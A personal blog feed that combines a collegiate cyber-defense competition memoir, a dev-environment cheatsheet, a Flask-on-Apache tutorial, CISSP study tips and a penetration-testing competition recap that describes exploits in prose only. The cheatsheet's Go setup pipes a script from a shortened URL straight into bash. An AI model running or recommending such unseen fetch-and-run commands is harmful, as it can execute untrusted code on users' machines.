<p>When we got to the competition room, it was set up in a dimly lit, open ballroom with several circle tables for teams to play at. We just picked the closest one and tried to figure out what was going on. The instruction sheet on the table served very useful for our first purple team event. For NCCDC’s Panoply, the host an internal website that lists the scoreboard, targets, etc. of the competition, but the target list and the actual list of running systems weren’t exactly 1-1. Eventually, we found some hosts with some low hanging fruit (anonymous SMB write) and just started going from there. There were a couple of vulnerabilities I exploited that I picked up from CPTC last year, but for the most part, it was just a lot of enumeration and trying to find a public POC. The event was only 2 hours, so we didn’t have a lot of time to pwn more than a small handful of systems. We ended up getting 3rd place, which was a lot better than we expected. We were all pretty happy with the results, but we didn’t think there’d be much of a reward for 3rd place in a side event, so it wasn’t anything to write home about.</p>
<p>After one of the lunches of all time, it was time for the real awards ceremony.</p>
<p>We filed into the big ballroom that we had been in for the in-brief for the past 2 days. This time though it was packed. There were many visitors, staff, etc. all packed into the rows of seats. We sat down in the middle, right to the camera crew. Coincidentally, we also sat next to one of our red teamers. Now was the time to see if all our hard work had paid off: 3rd or bust. After a ton of speeches and raffles, it was finally time for the awards section. First, they ended up announcing Panoply winners. Since they started off with third, I was pretty surprised to hear my team’s name called out for an award, but it was really cool to see that the top 3 were all recognized. I went up to the stage and got the red trophy. As I was walking up, I thought to myself, “If we don’t get 3rd place overall, this will be the only trophy we get.” After some brief pictures, I went back down clutching the trophy. The other Panoply winners were called up, and then it was time for the final results.</p>
<p>Suddenly, it was just like a month prior. “In 3rd place,” I held my breath. “…DePaul University!”</p>
<p>My heart sank. “If we weren’t third, then… we didn’t make it. There’s no way we could’ve made it as a first-year team anyways. I shouldn’t have gotten everyone’s hopes up for nothing. We made it to nationals, at least? <em>I should be happy</em>.”</p>
<p>Cheers and applause echoed throughout the room as the 3rd place team rightfully marched up the stage and were awarded a trophy for all their efforts. My mind began to fog as I the past 3 years of “if-onlys” and “almosts” began to flood my mind. A faint “and in 2nd place” floated through my ears as I continued to stare a hole into the floor.</p>
<p>“…Cal Poly Pomona!”</p>
<p><em>“Congrat- huh? Did he say ‘Cal’? Weird, that’s not how you spell UVA…”</em></p>
<p>And then it finally dawned on me. I looked to my left; the whole team was there beside me in similar disbelief. In that moment, all we could muster was a collective, “what?” before standing up. My legs shook as I wobbled up to the stage, and I could feel my heart beating out of my chest. I was in complete shock. I couldn’t believe it. I couldn’t believe we had done it. Even holding the trophy with everyone on stage, I couldn’t believe we placed 2nd. 2009 was the last time CPP placed in the top 3. CPP didn’t place in the top 3 for 13 years, and the CPP CCDC team hadn’t been to nationals since 2016. 2 years ago, the team failed to make it to regionals. 400 days ago, the team got last place. In spite of it all, <em>this</em> time we did not fall short.</p>
<p>Stanford would end up getting a well-deserved first place, but with the west coast sweep, we were all ecstatic. The wet season had come, and it was raining W’s.</p>
<h1 id="making-the-streak">Making The Streak</h1>
<p>After 3 long years of CCDC, I’m finally ready to retire. Since I’m graduating a semester early, though, it’s not like I could compete again anyways. I’m glad I was able to end my CCDC career on a high note. I know we could have swept the whole competition with our technical knowledge in retrospect, but experience is invaluable and now they have it in spades. I could not be prouder of my team. They’ve come so far in such a short amount of time, and they’re licking their plates, hungry for first. But the drought is over, and it looks like wet season is here to stay. To my team, if you’re reading this, I’ll be waiting for the good news on the other side of the competition.</p>
<p><img src="/assets/images/blog/400-banner.jpg" alt="Image" /></p>
<h1 id="postscript">Postscript</h1>
<h2 id="tips">Tips</h2>
<ol>
<li>Treat customer interactions seriously. Good vs great customer service can be the difference of like 5% of the overall score.</li>
<li>Everyone needs to know networking. It’s the foundation of everything.</li>
<li>Everyone needs to be able to flex into business. This means being able to write professionally, speak professionally, and be able to do it on the fly.</li>
<li>Communication is key. Write things down because you will forget.</li>
<li>The red team isn’t as scary as you think. Stay focused and you’ll cut them off eventually.</li>
<li>Be familiar with how to use your systems and how they work. If you don’t know how it works, you won’t know how to secure it when you’re given a wonky environment.</li>
<li>Preparation makes all the difference. Have templates, pre-written injects, gameplans, etc.</li>
<li>Competition support staff are your friends. Treat them with respect and they will help you if you ask (you should).</li>
<li>You will learn the most if you try to do things “the right way” with some liberties. You’re trying to be a cyber professional, so use this as an opportunity to practice. Just don’t be too rigid and realize CCDC isn’t 100% real life either.</li>
<li>Have fun. It’s a competition, but it’s also a learning experience. You’re not going to win every time, so make the most of it.</li>
</ol>
<h2 id="other-blog-posts">Other blog posts</h2>
<ul>
<li><a href="https://altoid0.com/ccdc-nationals-reigniting-the-legacy">Tanay’s blog post about nationals</a></li>
<li><a href="https://lockboxx.blogspot.com/2023/05/red-teaming-at-national-ccdc-2023.html">NCCDC Red Team’s 2023 blog post</a></li>
</ul>Gabriel Fokgabriel@gabrielfok.usFrom last place in the western region to 2nd place in the national finals—this is the story of the CPP CCDC team.Development Environment Setup Cheatsheet2023-01-03T00:00:00+00:002023-01-03T00:00:00+00:00https://gabrielfok.us/article/DevelopmentEnvironmentCheatsheet<h1 id="quick-intro">Quick Intro</h1>
<p>Hello and welcome. Hopefully this helps you if you need to quickly setup an environment using some of this programming languages. This list will continue to grow as I encounter it. This is mostly just for myself.</p>
<h1 id="dotfiles">Dotfiles</h1>
<p><a class="button button--primary button--pill" href="https://github.com/dbaseqp/dotfiles">Dotfiles</a></p>
<h1 id="golang-setup">Golang Setup</h1>
<p>Install <code class="language-plaintext highlighter-rouge">curl</code> and run the following oneliner.</p>
<pre><code class="language-bash=">curl -L https://git.io/vQhTU | bash
</code></pre>
<h1 id="generate-pubkey-pair-via-openssl">Generate Pubkey Pair via OpenSSL</h1>
<ol>
<li>Generate private key
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl genrsa <span class="nt">-out</span> private_key.pem 2048
</code></pre></div> </div>
</li>
<li>Generate public key
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl rsa <span class="nt">-in</span> private_key.pem <span class="nt">-pubout</span> <span class="nt">-out</span> public_key.pem
</code></pre></div> </div>
</li>
</ol>
<h1 id="convert-python2-to-python3">Convert Python2 to Python3</h1>
<ol>
<li>Address tabs vs space issues
<ul>
<li>In vim,
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>:set tabstop=8 # or 4 depending on file
:set expandtab
:retab
</code></pre></div> </div>
</li>
</ul>
</li>
<li>Go to <a href="https://python2to3.com/">https://python2to3.com/</a></li>
<li>Repeat step 1 until works</li>
</ol>
<h1 id="configure-copypaste-for-esxi-vms">Configure Copy/Paste for ESXi VMs</h1>
<ol>
<li>Shutdown VM</li>
<li>Edit VM settings > VM Options > Advanced > Configuration Parameters > Edit Configuration</li>
<li>Add the following configuration parameters:</li>
</ol>
<table>
<thead>
<tr>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>isolation.tools.copy.disable</td>
<td>FALSE</td>
</tr>
<tr>
<td>isolation.tools.paste.disable</td>
<td>FALSE</td>
</tr>
<tr>
<td>isolation.tools.setGUIOptions.enable</td>
<td>TRUE</td>
</tr>
</tbody>
</table>
<ol>
<li>Click OK</li>
<li>Power on VM</li>
</ol>
<h1 id="set-static-ip">Set Static IP</h1>
<p>After configuring static IP, make sure to restart networking service or interface.</p>
<h2 id="debian-10">Debian 10+</h2>
<p>Edit <code class="language-plaintext highlighter-rouge">/etc/networks/interfaces</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>auto ens192
iface ens192 inet static
address 192.168.1.200
netmask 255.255.255.0
gateway 192.168.1.1
dns-nameservers 8.8.8.8
</code></pre></div></div>
<h2 id="ubuntu">Ubuntu</h2>
<p>Edit <code class="language-plaintext highlighter-rouge">/etc/netplan/<config file>.yaml</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>network:
ethernets:
ens160:
dhcp4: no
addresses:
- 192.168.1.200/24
gateway4: 192.168.1.1
nameservers:
addresses: [8.8.8.8]
version: 2
</code></pre></div></div>
<h2 id="rhel-based">RHEL-based</h2>
<p>Edit <code class="language-plaintext highlighter-rouge">/etc/sysconfig/network-scripts/ifcfg-ens192</code> and add:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BOOTPROTO=none
ONBOOT=yes
IPADDR=192.168.1.200
GATEWAY=192.168.1.1
PREFIX=24
DNS=8.8.8.8
</code></pre></div></div>Gabriel Fokgabriel@gabrielfok.usA bunch of tools, scripts, walkthroughs to setup environments I use often. E.g. GolangHow to Deploy a Flask App on a Linux Server2022-08-25T00:00:00+00:002022-08-25T00:00:00+00:00https://gabrielfok.us/article/HowToSetupFlaskOnLinux<h1 id="overview">Overview</h1>
<blockquote>
<p>This tutorial uses Ubuntu 20.04, Python 3.8, and Apache2. Though this tutorial may work on other setups, things may change over the years, so be warned.</p>
</blockquote>
<p>This tutorial starts off with a fresh Ubuntu 20.04 server. In my case, it’s hosted on a private server on my network, but you could also start a cloud instance on services like AWS, GCP, or Linode. This tutorial is a “quick and dirty” way of deploying a Flask app because it’s generally considered better practice to use tools like Docker and virtual environments (<em>venv</em>s) to deploy Flask apps. This solution just gets it running.</p>
<h1 id="1-install-apache2-web-server">1. Install Apache2 Web Server</h1>
<p>The first thing we’re going to do is update our package listing, then we’ll install the web server that will host the Flask app. We will install Apache2 and a module to handle <code class="language-plaintext highlighter-rouge">wsgi</code> which will help us render the Flask app.</p>
<blockquote>
<p>Commom error: You’ll notice here I installed the module version specific for Python3. You’ll need to do this if you are running Python3 and see errors like “No module named flask” in your Apache logs.</p>
</blockquote>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt update -y
$ sudo apt install -y apache2 libapache2-mod-wsgi-py3
</code></pre></div></div>
<h1 id="2-add-your-flask-app-to-the-server">2. Add Your Flask App to the Server</h1>
<p>Since this is a Flask app, we have to install Flask (duh)! Since we are using Python 3, I will use pip3.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo apt install -y python3-pip
$ sudo pip install flask flask_sqlalchemy
</code></pre></div></div>
<p>Next, we will need to add a Flask app to our server. I already developed my Flask app beforehand, so I just need to move it to my server to deploy it. You could use tools like Git or FTP to move the files over. In my case, I’ll be using Git and cloning my repo from GitHub. I’ve posted an example Flask app here: <a href="https://github.com/dbaseqp/flaskexample">https://github.com/dbaseqp/flaskexample</a>.</p>
<p>Choose a location to store your webapp. I will use the normal location in <code class="language-plaintext highlighter-rouge">/var/www</code> and create a folder for my Flask apps called <code class="language-plaintext highlighter-rouge">flask_apps</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mkdir /var/www/flask_apps
$ cd /var/www/flask_apps
$ git clone https://github.com/dbaseqp/flaskexample
</code></pre></div></div>
<blockquote>
<p>Be careful with repository names. For example, your repository is named “flask-example”, you will want to remove the “-“ after you clone it so that the <code class="language-plaintext highlighter-rouge">.wsgi</code> file can load it properly.</p>
</blockquote>
<p>After running those commands, you should still be inside the <code class="language-plaintext highlighter-rouge">/var/www/flask_apps</code> directory. Create a <code class="language-plaintext highlighter-rouge">.wsgi</code> file with any name you like.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ touch flask-app-example.wsgi
</code></pre></div></div>
<p>Then, add the following contents to it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/python
import sys
import logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/flask_apps/")
from flaskexample import app as application
application.secret_key = 'Add your secret key'
</code></pre></div></div>
<blockquote>
<p>“app” is the name of the Flask application in my __init__.py</p>
</blockquote>
<h1 id="3-configure-virtual-host-for-apache2">3. Configure Virtual Host for Apache2</h1>
<p>Now we need to tell Apache2 where our Flask app is and what to do with it. Create a file in <code class="language-plaintext highlighter-rouge">/etc/apache2/sites-available</code> for the site.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ touch /etc/apache2/sites-available/flask.conf
</code></pre></div></div>
<p>Then, add the following contents:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><VirtualHost *:80>
ServerName _
ServerAdmin email@mywebsite.com
WSGIScriptAlias / /var/www/flask_apps/flask-app-example.wsgi
<Directory /var/www/flask_apps/flaskexample/>
Order allow,deny
Allow from all
</Directory>
Alias /static /var/www/flask_apps/flaskexample/static
<Directory /var/www/flask_apps/flaskexample/static/>
Order allow,deny
Allow from all
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
LogLevel warn
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</code></pre></div></div>
<p>After saving the file, we will need to enable the virtual host we have just made, and disable the default site.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo a2ensite flask
$ sudo a2dissite 000-default
</code></pre></div></div>
<p>We can run a quick config test to make sure everything is correct.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ apache2ctl configtest
</code></pre></div></div>
<p>If you see “Syntax OK”, you should be good to go. If not, double check your config file.</p>
<h1 id="4-restart-apache2">4. Restart Apache2</h1>
<p>Now you should be able to restart Apache2 and view your site!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo systemctl restart apache2
</code></pre></div></div>
<p><img src="/assets/images/blog/flask_example.png" alt="Image" /></p>Gabriel Fokgabriel@gabrielfok.usVery useful for when you want to deploy a Flask app on your local network.How I Passed the CISSP Exam in Four Weeks2022-01-19T00:00:00+00:002022-01-19T00:00:00+00:00https://gabrielfok.us/article/FourWeekCISSP<h1 id="overview">Overview</h1>
<p>The CISSP certification is an industry standard that is very popular in system administration roles, especially for jobs in the public sector. The exam is a multiple-choice, adaptive exam used to determine if one is qualified to possess the title of CISSP. In addition to passing the test, one must also have at least 5 years of related experience to be a CISSP. <a href="https://community.isc2.org/t5/Member-Support/CISSP-Passed/td-p/28233#:~:text=Please%20feel%20free%20to%20shout,does%20take%205%2D6%20weeks">Since I don’t have the full five years of experience</a>, I am an Associate of ISC<sup>2</sup>.</p>
<p>As a sophomore at CPP, I took the exam in January of 2022 and passed while only studying for four weeks. In fact, I passed in the minimum 100 questions. It took an insane amount of discipline, hard work, and dedication. Since I was using my winter break as a time to devote myself to studying, I had to miss out on a lot of events with family and friends. My aggressive way of preparation is not meant for everyone. This challenge for myself was a great experience in exploring what I can do when I put my all in something and I am proud of my performance.</p>
<blockquote>
<p>Disclaimer: I do not encourage preparing for CISSP in just 4 weeks. The CISSP exam is a very difficult exam for those without experience, especially for those with less experience in security and test taking.</p>
</blockquote>
<h3 id="how-many-questions-are-in-the-cissp">How many questions are in the CISSP?</h3>
<p>There are a minimum of 100 questions you must answer to pass. If you do poorly enough, you may not need to answer all 100. If you have not performed well enough, the test more go longer than 100 questions until the test can determine if you are doing well enough to pass, or poor enough to fail. While you only know if you pass or fail, passing in 100 questions is considered a very good performance.</p>
<h3 id="what-is-an-adaptive-test">What is an adaptive test?</h3>
<p>Basically, it means the questions are not weighted evenly and scale with your performance. Some questions will be harder than others and affect your overall score more. For an adaptive test, streaks are very important. Answering questions consistently correct will lead to the test giving you harder and harder questions (worth more) until you get one wrong. If you feel like the test is getting consistently harder, that’s usually a sign you’re on a good streak. On the other hand, consistent wrong answers will make the test give you easier questions to get you back on your feet. Getting an easy question out of the blue doesn’t mean you’re suddenly doing bad, but these are just slight variations you might experience per test.</p>
<h1 id="timeline-breakdown">Timeline Breakdown</h1>
<p>Here’s the breakdown of how I spent my preparation weeks.</p>
<ul>
<li>Week 1 (Domain 1, 2, 3)</li>
<li>Week 2 (Domain 4, 5, 6)</li>
<li>Week 3 (Domain 7, 8)</li>
<li>Week 4 (Full Test Prep)</li>
</ul>
<h1 id="preparation-strategy">Preparation Strategy</h1>
<p>I studied an average of 10 hours a day, split into three study sessions a day. The first session was 8:00AM-12:00PM followed by a 1-hour lunch break. The second session was 1:00PM-5:00PM. The last study session was after I ate dinner, so around 8PM-10PM.</p>
<p>The first session was mostly about learning new material. It was split into 3 phases: learn (2hrs), review (1hr), learn (1hr).
I allowed myself up to 5 minutes of break time per hour so that I can maintain focus.</p>
<p>The second session used the same schedule.</p>
<p>The last session was focused almost entirely on learning new content. While many probably find it strange that I would use the end of the day to learn material because I am presumably the most tired, I personally find it easiest to focus for that exact reason. There is also less distractions as long as I am disciplined. Also, most people have already gone to bed so I don’t need to worry about people contacting me while I’m studying.</p>
<p>If I did not meet my goals in content/review scores, I would take even more time to study. Some days, I would be preparing for CISSP for up to 10-12 hours total.</p>
<h2 id="learning">Learning</h2>
<p>I used the Gold Book to learn the material. I took notes for each domain in a Google Doc as I progressed. On any topic that I didn’t already have full confidence in, I made sure I was very detailed. I used the Sunflower outline to guide what I focused on while reading and taking notes.</p>
<h2 id="reviewing">Reviewing</h2>
<p>Depending on how strongly I felt about a certain topic, I would either focus on memorization or test taking/application.</p>
<p>I used Quizlet to focus on memorization of topics, definitions, and laws/regulations. Raw memorization can and should be handled separately from exam practice.</p>
<p>I primarily used the quizzes in CCCure to prepare for the CISSP exam. I exclusively used Test mode and treated each quiz like a mini-exam. I took 25 questions on whichever domain I had most recently completed. If I attained a score of 80% or higher (without guessing), I would take a 25 question quiz on all the domains I had covered up to that point. Any topic or domain that I saw weakness in, I would focus on for about 15-20 minutes than take another quiz on that domain. This means I averaged about 2-3 quizzes per 1 hour block of review.</p>
<h1 id="general-test-taking-tips">General Test Taking Tips</h1>
<p>Tips for Studying</p>
<ul>
<li>Separate weak topics from strong topics.
<ul>
<li>Using tools like Quizlet, flashcards, or even example test questions, try to identify which topics you are excelling in and which topics you are struggling in. Focus your efforts on your weaker topics and lighten up on your stronger topics. You can come back to your strong topics a day or two later to see if you’ve still got it.</li>
</ul>
</li>
<li>Review frequently. Review everything.
<ul>
<li>The more your encounter the content, the easier it will be to recall that information on the test. Whether you’re waiting in a line or about to go to bed, utilize spare time to review. Also, do a full review of everything you’ve learned up to that point once a day.</li>
</ul>
</li>
<li>Have a friend. Test each other.
<ul>
<li>Having a friend to bounce ideas off of is always a great tool. If you find yourself struggling to understand a particular topic, you can ask your friend to see if they can help you. If you both are struggling, two people looking for a solution is better than one. Shoot questions at each other to see if you can quickly recall information.</li>
</ul>
</li>
<li>Don’t always study in an ideal environment.
<ul>
<li>It might be the most comfortable to use the same location to study, especially if that’s where you’ve always done it. But when you take the actual exam, you won’t have that luxury. Get used to studying and test taking in different environments. For example, if you’re waiting in line in a public space, you might think it’s too loud to study. But if you can get used to recalling information while not at your 100%, you’ll do better overall.</li>
</ul>
</li>
</ul>
<p>Tips for Crunching</p>
<ul>
<li>Make your life about CISSP. Make references to the content in all aspects of life to reinforce concepts.
<ul>
<li>For example, in the middle of conversations, you might blurt out, “Oh, that’s like zero trust security because XYZ.” Those close to you may be annoyed by this, but it helps you truly see the concepts.</li>
</ul>
</li>
<li>Do full exams and don’t allow yourself to guess.
<ul>
<li>Usually, getting a question correct by guessing has little to no value. If you got the question correct without knowing exactly why, it won’t help you on the test. You don’t want to reward poor performance. When you’re doing your last few example exams, <em>then</em> it’s ok to guess to test how good your knowledge is to make educated guesses.</li>
</ul>
</li>
<li>Under stimulate your brain, then obsess over the content.
<ul>
<li>If you under stimulate your brain by experiencing little more than the content only, it will be the only context for your brain to function in. This means don’t play any video games, only watch videos about the content, and focus as much as possible on the content. You might ask for help with chores the last week so you don’t need to think about them.</li>
</ul>
</li>
</ul>
<h1 id="links-and-resources">Links and Resources</h1>
<ul>
<li><a href="https://cccure.education/">CCCure</a></li>
<li><a href="https://www.amazon.com/CISSP-All-One-Guide-Ninth/dp/1260467376/ref=sr_1_4?crid=2X46YK7295L5C&keywords=cissp+all+in+one&qid=1653299206&s=books&sprefix=cissp+all+in+one%2Cstripbooks%2C108&sr=1-4">CISSP All-in-one Gold Book, 9th Ed.</a></li>
<li><a href="https://www.youtube.com/watch?v=_nyZhYnCNLA&list=PL7XJSuT7Dq_XPK_qmYMqfiBjbtHJRWigD">Video series by Inside Cloud and Security</a></li>
</ul>Gabriel Fokgabriel@gabrielfok.usHow a college sophomore studied for only four weeks and passed the CISSP exam.LEGACY: My CPTC 2021-20222022-01-09T00:00:00+00:002022-01-09T00:00:00+00:00https://gabrielfok.us/competition/CPTCWorldFinals<h1 id="introduction">Introduction</h1>
<p>The <a href="https://cp.tc/">Collegiete Penetration Testing Competition (CPTC)</a> is a cybersecurity competition that, you guessed it, revolves around penetration testing. The main goals of the competition is to provide students an opportunity to experience the real world of professional penetration testing, beyond what is taught in things like the classroom, HackTheBoxes, and CTFs.</p>
<p><img src="/assets/images/blog/CPTCLogo.png" alt="Image" /></p>
<p>In CPTC, a team of up to 6 students perform a penetration test and security audit on a fictitious organization, then document the findings in a <a href="https://github.com/nationalcptc/report_examples">penetration testing report</a>. Cal Poly Pomona has never won an event in CPTC before.</p>
<h1 id="season-overview">Season Overview</h1>
<p>Let’s set the stage for a moment. The rookie from last year’s CPP CPTC roster is the sole remaining team member and de facto captain of the team. In addition to finding 7 of Cal Poly Pomona’s top penetration testing hotshots, said rookie now has to train and lead. Welcome to the world of our captain, <a href="https://nosecurity.blog/">Alex</a>.</p>
<pre><code class="language-mermaid">graph LR;
team[Bootcamp];
rfp[RFP];
osint[OSINT];
regional[Western Regional];
final[World Final];
team==>rfp;
rfp==>osint;
osint==>regional;
regional==>final;
</code></pre>
<p>The above timeline is the overview of our competition season.</p>
<p>Before the season even officialy kicks off, CPP needed to build a team. Alex, our team captain, <a href="https://nosecurity.blog/cptcGuide">put together a multi-week bootcamp</a> that covered the basics of penetration testing that ultimately led up to a tryout process. The applicants with the highest rubric score were selected and chosen to be apart of the CPTC roster.</p>
<p>Once the roster was solidified, the seasons starts with the Request for Proposal (RFP). In this case, it was a document that the fictional business published requesting for penetration testing services. This year, the company was “Le Bonbon Croissant” (LBC), a food manufacturing and distribution company. Out of all the RFPs that were submitted by schools, CPP was selected to compete in the Western Regional.</p>
<p><img src="/assets/images/blog/cptc_2021.png" alt="Image" /></p>
<p>With teams locked in for the Regional events all over the world, the CPTC organizers begin dropping hints via Open Source Intelligence (OSINT). My team and I originally thought that this year’s OSINT portion was very weak. After finding the low hanging fruit — social media accounts, a GitHub repository, and a StackOverflow leak — our team struggled to deduce anything meaningful. The social media accounts had a lot of red herrings that through us off like suggestive passwords (“Steptember1”), and the none of the leaks related to infrastrucure gave us any more insight than an idea of what to expect during the engagement (e.g. Swagger API, OpenCart). Sure, these are still significant findings, however, it is much less than what we were expecting. The overall impression was that we were either missing something huge or this year’s organizers really didn’t care about OSINT. It turned out to be the former.</p>
<p>After the World Finals debrief, we learned that there was actually more to the StackOverflow post we found. The post we found was edited, meaning there was something we weren’t seeing. It turns out that the entirety of the Swagger API was leaked and included nods to other endpoints that we could have used during the competition. Additionally, there was a leaked database of customer data, which would have been a huge finding for our report and presentation.</p>
<h1 id="regionals">Regionals</h1>
<h2 id="initial-assessment">Initial Assessment</h2>
<p>When my team and I arrived at our competition room, we had a small briefing to calm our nerves and eat a small breakfast with each other. Personally, it made a big difference. It was my first ever penetration test, and I was suffering severe imposter syndrome. I have to give credit where credit is due and thank Alex for his reassurance during that briefing.</p>
<p>As access to the environment neared, we went back to our seats, setup our workstations, and got ready for the long day ahead of us.</p>
<p>The Regionals environment invited the penetration teams to the warehouse network of LBC. The warehouse had a single, flat network with several Linux systems running various services like databases, websites, APIs, and a several simulated PLCs.</p>
<p><a href="https://nathaneberhardt.com/">Nathan</a>, our co-captain, branched a project created by our alum to create a completely new product: <a href="(https://github.com/neberhardt123/jVision)">jVision</a>. It’s predecessor, <a href="https://github.com/Menn1s/nVis">nVis</a>, was created by Silas and Dennis during their years on the roster. It was built to centralize nmap scanning and allow for better cooperation and coordination during penetration tests. Nathan’s jVision used the concept as a baseline and completely rebuilt it from the ground up and innovated it’s front end to provide a better user experience.</p>
<p><img src="/assets/images/blog/CPTC2021_jvis.png" alt="Image" /></p>
<p>We kicked off Regionals with jVision and quickly got a high-level view of the environment. From there, we split up and started tackling boxes on our own to gather any reconnaissance. After a few hours, we began discovering some critical vulnerabilities in boxes like default credentials and weak SSO. A good ways into the competition, an inject suggested that new OSINT information may be discoverable. In a matter of minutes, Nathan identified a public Google Drive folder with recordings of Zoom meetings that leaked confidential information. One of the recordings mentioned that ScadaBR was running on the environment. I quickly located it on the .50 box, used default passwords to eventually get remote code execution via a CVE as root. Over the next several hours, we continued to occasionally find a new vulnerability every now and then, but we were really struggling to find more to report. Of note, <a href="https://dtsec.us/">Dylan</a> was able to get remote code execution as the user <em>postgres</em>, but we weren’t able to escalate to root. By the time access to the environment closed, we had only 8 findings.</p>
<p>We quickly eat dinner that was delivered to us (shoutout to our teammates <a href="https://tsnguyen.com/">Taylor</a> and <a href="https://www.jacobjayme.xyz/">Jacob</a>) and went directly into report writing. One benefit of having less technical findings is needing to write less on the report. Although it might seem like a bad trade, we ended up tying up our loose ends at the very last minutes of the competition anyways. Even one more finding, and we probably would not have been able to finish our report. I read the report from top to bottom a good number of times, and slowly refined its word choice, voice, and consistency.</p>
<p>The next day, we got word that we earned 1st place and a direct seeding to the World Finals.</p>
<h2 id="rabbit-holes">Rabbit Holes</h2>
<p>Throughout the assessment, we struggled to successfully gain remote code execution on the majority of the boxes. While we strongly believed that the public facing APIs were vulnerable, we could not prove it with any exploit attempts.</p>
<p>Another thorn in our side was MPD and NetJukebox. While we tried several attack vectors on both the MPD server and NetJukebox itself, we could not successfully find a way to get remote code execution. Though there was some intentional glitchiness to make it difficult to login, we were able to login to the admin account for NetJukebox. Unfortunately, it led to nothing and we wasted a lot of time exploring.</p>
<h1 id="world-finals">World Finals</h1>
<h2 id="the-reassessment">The Reassessment</h2>
<p>The reassessment this year was largely similar to the regional environment. There were a handful of key differences, but CPTC organizers admitted that some of those differences were entirely accidental (deployment errors). Below is an image of the environment from LockBoxx, who posts <a href="http://lockboxx.blogspot.com/2022/01/cptc-2021-finals-review.html">great insights into the CPTC organizers side of things</a>.</p>
<p><img src="/assets/images/blog/lbc_network.png" alt="Image" /></p>
<p>One change to the environment that was significant during the first day of competition was the removal of the .50 and .51 boxes. Our jVision scans showed us similar results as the previous round, so we just got to work on hunting for vulnerabilties on the familiar machines. During the first hour we reassessed all the vulnerabilities we previously found. Although a few still worked, most were patched. We did notice some small differences in the repeat vulnerabitilies like more data was inside the databases this time around, but the bottom line was that if the vulnerability was from Regionals, it was exploited in the same exact way. If you couldn’t do it the same way, it was patched.</p>
<p>On the second day, we came back with renewed energy and fire. A little while in, the .50 and .51 boxes returned into scope and we quickly identified multiple critical vulnerabilities with ScadaBR that returned from Regionals. Not too long afterwards, <a href="https://covertops.xyz/">Justin</a> also identified PLC BRIDGE access on .51, which we did not identify before. After several hours of no progress, morale was at an all-time low. We ended up moving on from the pentesting earlier than expected. We learned from Regionals that rabbit holes would only waste our time. For the last our of access on the environment, we shifted focus on preparing our findings for the report.</p>
<p>We prepared a PowerPoint presentation with some very effective slide transititons that I believe would have really impressed the judges, but unfortunately, we had to switch our slideshow to Google Slides. Although Google Slides is a nifty tool, PowerPoint is a significantly better product. With <a href="https://rsecke.com/">Robinson</a>, we completely redesigned our presentation to adapt to the limitations of Google Slides. It would have been nice to use our presentation template, but alas.</p>
<h2 id="in-character-interactions">In-Character Interactions</h2>
<p>What really separated the World Finals from the regional qualifier was the in-character interactions - specifically the walk-in variety. Although my team and I competed remotely, the CPTC organizers set up a web camera on Zoom so that we could still get the experience. Members of CPTC would come by and act fully in character. We had to answer some questions they had, or sometimes they just let us know of an inject by word-of-mouth instead of by email. It was a fun way to immerse ourselves inside the competition.</p>
<h1 id="my-takeaways">My Takeaways</h1>
<h2 id="business">Business</h2>
<p>The largest takeaway is, unsurprisingly, the theme that the organizers were aiming for: it’s a business. To elaborate, that means we had to focus on what the <em>business</em> wanted or cared about. Keeping on top of things like the CEO’s Twitter for the latest Tweets and answering questions are all things my team and I will do moving forward.</p>
<h2 id="technical-skill">Technical Skill</h2>
<p>Another, major takeaway is technical skill. Since there was a very difficult environment this year, we will need to further develop our technical knowledge depth and breadth to have a more successful season next year. We lucked out that we had some familiarity with the content that was focused of this year, but we the lesser.</p>
<h2 id="rabbit-holes-1">Rabbit holes</h2>
<p>The last major takeaway is cutting away from rabbit holes earlier. My team and I wasted a good chunk of time going down rabbit holes and isolating ourselves into silos. That was time that would’ve been better spent doing either the report, exploring other vulnerabilities, or even just discussing our research with the team.</p>
<h1 id="suggestions-for-cptc">Suggestions for CPTC</h1>
<p>It would be disingenuous to say that, just because we won, CPTC was a perfect event. It had it’s stregnths, but there were many key areas that I feel could be improved on in following seasons. Despite my qualms, I do beleive CPTC is a great competition. I raise these concerns to hopefully contribute to its growth and longevity. May they serve as points of thoughtful discussion.</p>
<h2 id="subnets">Subnets</h2>
<p>I completely understand that the goal of CPTC this year was to focus on the business side of things. However, I don’t believe it had to come at the cost of a limited environment. For example, the <a href="http://lockboxx.blogspot.com/2021/12/cptc-2021-regional-review.html">significant rubric changes made this year</a> could have taken more weight out of technical findings to dilute a larger number of findings. More importantly, only having 1 subnet that did not grow inbetween rounds was dissapointing to say the least. Disregarding that the competition is less fun with a smaller environment, a smaller competition environment limits the ability for the comeptitors to grow and improve upon their technical skills. You could argue that CPTC isn’t the place to learn technical skills, but I think that’s just a huge oversight of the potential of CPTC. Why force students to choose if they will learn business <em>or</em> technical skills? CPTC <em>can</em> and <em>should</em> teach both.</p>
<h2 id="more-presentation-time">More presentation time</h2>
